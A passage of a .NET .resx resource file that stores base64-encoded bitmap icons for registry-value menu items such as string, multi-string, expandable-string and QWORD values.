+ZDjUmMp6qJYcLiQYMlfFwOr6KmS0HId7Aw9gzjnH+qiWHC4kGEpvzoB11zrstsRD+9QL6JnpZX1U
+Sw4XEkjhKXOsJRNK3paqo46v7T8cYJ14pl4b/VRLjjEg0MKS/jD6qZYcY0CwhKdN06dmSKrdp4qf
+sGazPqolhwsJhsYWPkLpu7uQZc1RE8CJcD6qJYcLCaS6HN2qMAfejYx+qiXHGBBoHW5Mg4vd+arw
+2Y48aJt8Bu+/DKhrY3/9QR8/1ZJjDAiGcALONSdEVUbD61kblA0+Yn0oqiWHCwm0Hgw+hMGvQ+r1
+t1/f1Cdh9OiiWnK4kFCKasnhQkIpqiWHCwmlqJYcLiSUolpyuJBQimrJ4UJQZzrOw5u5t+BcdcLS
+6pK2ko7B/YEybTcZ5+NNfXJEbRPGv0/A5OIk9M2+hqt917QtdKyP91+iWnK4kIJXhWrh4bDN9kNU
+RbTHi1sDnCSH0SsR1ZLDhUwuTqkCuO1NfXJU7eHx6Otkt51SPlNlDEz/nFZjI/OjatXF1fXD/LAa
+Q3SvVFRLDhdS2FsERX3XIdN60jMWV51ElQCu9BSqseOtWTQCkNd50ePNf1lAo3+8UlEtOVwIp9Pt
+uVQJIKstR40l1CSrPQ0q1pLo8d6wFZMT4PTzXM+4RFRLDheiCz/++rEGtZdfXltWhTrsnaxXF26T
+Z37OKC8+geGzMOf7m6iWHC5EF55G3jh+TKtvFjgvCsvihYu4tJ9znRdYnz9RLTlciK60pnQ1CXwQ
+wfLI56U5SK7d7+PFnWbLuFV5kIdDj308ElEtOVwIp/TmY1QN4Fb/HZ/3K0cs9C7A0/FWNSGjRyKq
+JccYgLdBPO9Rma38XcgyWrPhd8qGHtE7AJ2OLnV79X5/M6JacowBWHRlfUWVsX3uh8Savepoeq8D
+eJfR/cW2WzTqXri4lXozolpyuBB8ANFZc6157kDI1KIdYqvdt8w9dSnqYvXH8PyIT74/US05XAgu
+/zf7b2srsR1cLnfBheUF7dxu0U6xAx4fTgAvbn/CU8o7+1+iWnK4EG9FV8VtWKSCLaolZ4t9vT5F
+teTgPxW4sFBIm0A+1ZKD/9ZxT8Jk50L/j7S/XW6+tLNu5zaqFSZMmDBbioiI392nmoAs4I89AAAA
+AElFTkSuQmCCCw==</value></data><data name="multiStringValueToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAEAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAACsklEQVRoQ+2ZTWtTURCGs+mqS8Uf4efCj79QJSFp9wWDS1dBJNZEVxpBbP1qxUIU/AFd
+CO5rBUmaitpo0iRNJElNIhVqU4qggo5n0mm5MdPm3jPJQfS+8Owu8z6Tew53EY8bN27+g4x8Au9w
+A2oKkHLyUfkljTWXQAM+cjI6HLzyzvwSnIguh6Lvt5Z4XEnS+P6HE9EFFzC+BCeiy+FoxvwSnIgu
+RyIZ80twIrrgAsaX4ER0ORrJml+CE9HlmFrA+BKciC7HY8WuS5x6Uu3td4IT0WUouWl+CU7EBFQv
+DzfcBFQvDzfcBFQvDzccGRyLw0BoUsTg5Tg7e7j+y8ACqpyTcgK7gJL3LW9Ayn92bD4QrKb8506Q
+il46CvoJyd/NVGDx+u2FVCAI8/7gumgJtqgfkPy4ki+VSsj3xdidV7iEehsV0nEetkwhuQMdR4fk
+b6bTUCwWrXx7e21iAY8T6ThPW5EFyR1oW4DkJxNRqM/thxdLb6BQKOyQy+UipKIXq3TPscivzXpa
+1Of2wWzmNeTzeeQqaeiHLe4FJP8wEd6R36b2/ADk089CpCALW66QfQfuw8D5W3DhnrdDHplOXPyb
+vwNb8qGJoV3l8c1QvTycvDbMmefk8Tmql4cV0cGBPD5P9fJ0iBDO7oC9Y7Mtj1C9PFZpK/bvgHN5
+hOrlsQ51jMNjY4Xq5flzsG0E8gjVy8MNt4OvuAnTST15hOrl4YZ3I1D7CaPZVVjPXdKSR6heHm54
+N/zVH3BjeRWazWbbEnblEaqXhxveDd+HrzA18xTK5TItEYZ4MmxbHqF6ebjh3fAurcH41IPWEjH1
+Jkazn1t3wq48QvXycMP3REl6CxvgzX1pvQk8Tngn2Gf3gOrl0fqLycEvvQsrVC+PGnaml/+T2WBl
+pAGnqd6NGzf/bjye388v2v1KKqHvAAAAAElFTkSuQmCCCw==</value></data><data name="stringValueToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA0wAAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAIAAAACAIBgAAAHN6evQAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAAdUlEQVRYR+2OQQqAMBAD9we+y6P/8qu+oV5CkZKlLsR6ycBcyqZJmJEr9valqMlhIaWo
+yWEhpajJYSGlqMkpByaU/ysHJqj/62zH2Z7ieR0e4AEe4AEe4AEe4AG/DBhLM3Guh5Uxca6HlTFx
+roeVMXFuXhBxAw7/zhA/arIMAAAAAElFTkSuQmCCCw==</value></data><data name="renameToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAHAQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADvklEQVRoQ+2ZyU8TYQDFe1ZciCtSdmXfikj0P9CYiFw5iBrj2cSLiUcRxSK7RYSIYkXZ
+RCqlLFUJSqFKENDSmU4LpRRRAalnTZ7fDFMCMtq52E6Tecm7NG3y+007mfelimDJSN4FpflUwSTp
+uOnkmXD+5eCIy2QKN+edo8y5Z7HaAlvQSDAME+FwOOz08DsTkfgZVBJeeFKwpYZGRsynz/9akyA/
+J/6t0gsLb18N1neDBLkn+LdLK0uvFUqHbeINkYBQrUOmN+a88/bh3IJo/iObc/jVj5Oq/hV3Zt93
+ZPR8R7phGWn6JaR2LSFZt4ikzkUkdnxDQvtXxLd9xaGWLzjYvIDYJwuIefwZ0dp5RDXOI/KhGxEN
+bijvzyG83oWwey7sr53Fvhon9mqc2FM9g92V09hVMY3QEhrxN7swplfC0p+KwbGPsNlsm0rTNMPe
+2DyqcLKMnjmVcQV+Eyi1IaF4FX75lYKrpS8FA6OTLPD6zlit1r9feW+yXnrgN4EyG5LU+g3wGyUm
+QFEUW3HwbPwmUMEg+S/w3n7qTYF16v0g+fkoeTzf8YtAlR0pt7vx4R/wbMf1+7HyWiHuynvz3wWq
+7UgtI/DdvuETrrWDxxKf/yqgcSCtXBx8YuEzbL1mkZBAzTTSK33DT7Dw1zsQUjiFrUW0NAQO1BL4
+KoNv+O4wJBZ1YFuRFSE3bNIQCK+bQWa1OPikG8+x/aYV24oZaQgo651Q3enBB4Nv+OTiTuwoprBd
+zUhDIOK+E1maXowbIgShvWXhU251Yqeaxo4SuzQEIhtmcbhGHHyaWsdtoZ2lDmkIRD2cRfbdPt/w
+hjCkl+i4LRRa5pCGQHQjgb/nG36SwGeU6rgtxK1RKQjEaF04UteP8R4R8OU6bgutzelAC8Q1uZBT
+bxQFn1mh47bQhvNAQAWezuNYg5Esx0hBaG9ZeFXlC24LbTrQBFLgoHYGLaPDWH4bJQjOloXPquri
+tpDgiSyQArENFCzuJXi+fRSUmOwJQ/adLm4LCZ7IAirQuoCj2il4PJ7V/iHBwh/R6LktJHgiC7TA
+oWY3LmraMTAwsEnC0nsAOTXd3BYSPJFJQqDJicuFJcjPz1+T+DS3iOZ3Q8gmT2J2CwmeyKQiEPeA
+xqUrV4mEGhfIN5HzwILIWtI6hpsTgicyyQi0kQdYI8PdxHGPprkHWYzWLXgekOw3EN/6RXDMBY/A
+uikhC8gCfGQBWUAWCHYBf//B8U8BysVjiU+m8ccJVf/KXOAFaNeWIuo4jyVHjhw5kopC8RtEQSu7
+bO51pQAAAABJRU5ErkJgggs=</value></data><data name="qWORD64bitValueToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAmAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADOklEQVRoQ+2Zy2sTURTGIyKKghtBFNzoVlciKIi4FF+4EnHpThBEQUEX4kLE7sSVf4Cu
+xJXixunTIm2tUugkfeTRlhqblPSVJk2TNunxnumZyc1wxnq6mNvF/ODbzJz73W/u3EeYxCIiIiJ2
+OFbiRqw93q1UVoKQhH11xdrt65Rim1h2m884fFnxl5RGyObI86Zhy7KvUSoBm9OGNwxbVryTUgmw
+7BJrZkKWvUypBHBGJiWGMzEpMZyJSYnhTExKDGdiUmI4E5MSw5n8h/Z2JuC2/Rs+FZYhUa7Cwnqd
+rXO1uyMBQ8uroMPVUSoBnMkWOvMjA6lKjWI04Wpd3R/PUVUTro5SCeBM/qHzgxNQa2xQBIBSveG8
+hTfTc2w96si3MVhSb8gPV0upBHAmATrYPQLTq2vUPcD73BIc6hlla3W9yy1Si1a4WkolgDMJ0N3R
+Geoa4ONsEQ6rkb3wcwIuDU0FPsjFX5Pgvi9so8PVUyoBnEmAehZXqGsAa74MaxvNqYTT6kk631K/
+Ry3cuFrgCC5ynEo6eq0nMZxJgLLV5vQJ4pbamdz6R8k8XQW4k8g613TcuhaJ4UwCVNdGvG+pAqcH
+0s4USWs7Un+x4tQe6x13Fjjydb4Eu8hDR/f2JEZr/DiVd171FTWnT/aloLBWh7fZee9+Mz7AucGM
+dx1H3QVDY9gPvvkehOvhSYzWeJ86nHB/T67UoHuh7Gx9R3vHvPu52jp1C3CqP+VdP6vOBZ0DXSNQ
+ptHfCtfDkxifAe4oLvfGZlrufVb7vcsDdTC51x8mm4dUXj0kXuMOOg7Xw5MYn8HN4WmyBnjq21Uu
+aw+3qnadV5MFeJ6ZhRVttNumCi1t/NLh7lMqAVpjPKj+VNfBLlXhy1zJCXb8e7Klg9fqxA1iQC3g
+/Wr66PV+6XD3KZUArTH+HMCFijvLCRW80mg4D6LXoHDR4pmACx7fBP6Ye6beBK4hf61fOtx9SiWA
+MzEpMZyJSYnhTExKDGdiUmI4E5MSw5mYlJid9Gmx3S5SKgHO93nOzIAsu4NSCcA/FzgzE7KGr1Iq
+IfjnAmcYrl5Qmm2Cfy7g9/kw1wT2hdNm2yMfEREREQ6x2F+uMtPoETiAtAAAAABJRU5ErkJgggs=</value></data><data name="expandableStringValueToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA1wQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAZAAAAGQIBgAAAHDilVQAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAEeUlEQVR4Xu2YQYpcZRhFS3CQoTOnjl1CJiGVMp2utEOX4Brch0twAYLzWJUERAIOHAo6
+EQQHUQSxNUqwfDe5pjvFeVrx8eS71d+BM8nkf9+5dOhk0TRN0zRN0zRN0zRN0zRNU4Lr957sKuvP
+vDpQhEr6M68OFKGS/syrA0WopD/z6kARKnnr1vaFy+Vme+PG9po//TihCJW8PIj9ZBjldX/+8UER
+KgmDDG4+Wix2r/mE44IiVJIHefbX14c+4bigCJWkMf52GOUDn3E8UIRK0hAXbv5crbbv+5TjgCKQ
+d9/d/S/++Nv5S67Pnu5W73wBYzx3udw+XS7vv+dz8qH4JMWbw/1B9Gfrsz92q9UjHEQOo/y+Wm1O
+fFI2FJ/cDzeXNIhcnz0ZRvkcB5HDKOc3b3563WflQvHJy9HmdGwQuT77dRjlMxxEDqP8sFzee9un
+ZULxycth5vSfBpGnd38eRnmIg9jvhn84vuXz8qD45H6Yufy3QeTp+qch/IP9IS65+Xr4SXnTJ2ZB
+8UkKM4eHDCJP14+H8Pf3hnjJL4eflDd8Zg4Un6Qoc3joIPLO+nsa4oWR/xlJ8UkKMoevMog8ufMt
+jnHh5mOfmgHFJynGHL7qIPL2yTcwxIU+NQOKT1KIOfwvg8jbJ1/hGNKnZkDxSYowh/uDHOrj819w
+DOlTM6D4JMWbQ4p9qDSG9KkZUHyS4s0hhT5UGkP61AwoPknx5pBCHyqNIX1qBhSfpHjVpDGkT82A
+4pMUoJo0hvSpGVB8kgJUk8aQPjUDik9SgGrSGNKnZkDxSQpQTRpD+tQMKD5JAUj67WeK9MaYNIb0
+qRlQfJICkBR1ivTGmDSG9KkZUHySApAUdYr0xpg0hvSpGVB8kgKQFHWK9MaYNIb0qRlQfJICVJPG
+kD41A4pPUoBq0hjSp2ZA8UkKUE0aQ/rUDCg+SQGqSWNIn5oBxScpQDVpDOlTM6D4JAWoJo0hfWoG
+FJ+kANWkMaRPzYDikxSApH9LTJHeGJPGkD41A4pPUgCSok6R3hiTxpA+NQOKT1IAkqJOkd4Yk8aQ
+PjUDik9SAJKiTpHeGJPGkD41A4pPUoBq0hjSp2ZA8UkKUE0aQ/rUDCg+SQGqSWNIn5oBxScpQDVp
+DOlTM6D4JAWoJo0hfWoGFJ+kANWkMaRPzYDikxSApF9dp0hvjEljSJ+aAcUnKQBJUadIb4xJY0if
+mgHFJykASVGnSG+MSWNIn5oBxScpAElRp0hvjEljSJ+aAcUnKUA1aQzpUzOg+CQFqCaNIX1qBhSf
+pADVpDGkT82A4pMUoJo0hvSpGVB8kgJUk8aQPjUDik9SgGrSGNKnZkDxSQpQTRpD+tQMKD5JAapJ
+Y0ifmgHFJylANWkM6VMzoPgkBagmjSF9agYUn6QA1aQxpE/NgOKnSmNIn5oBHZYqjSF9agZ0WKo0
+hvSpGdBhqdIY0qdmQIelSmNIn5oBHZYqjSF9agZ0WKo+KRs6LFWflA0dlqpPyoYOS9UnNU3TNE3T
+NE3TNE3TNBVYLP4CGSb7xYvb7sEAAAAASUVORK5CYIIL</value></data></root>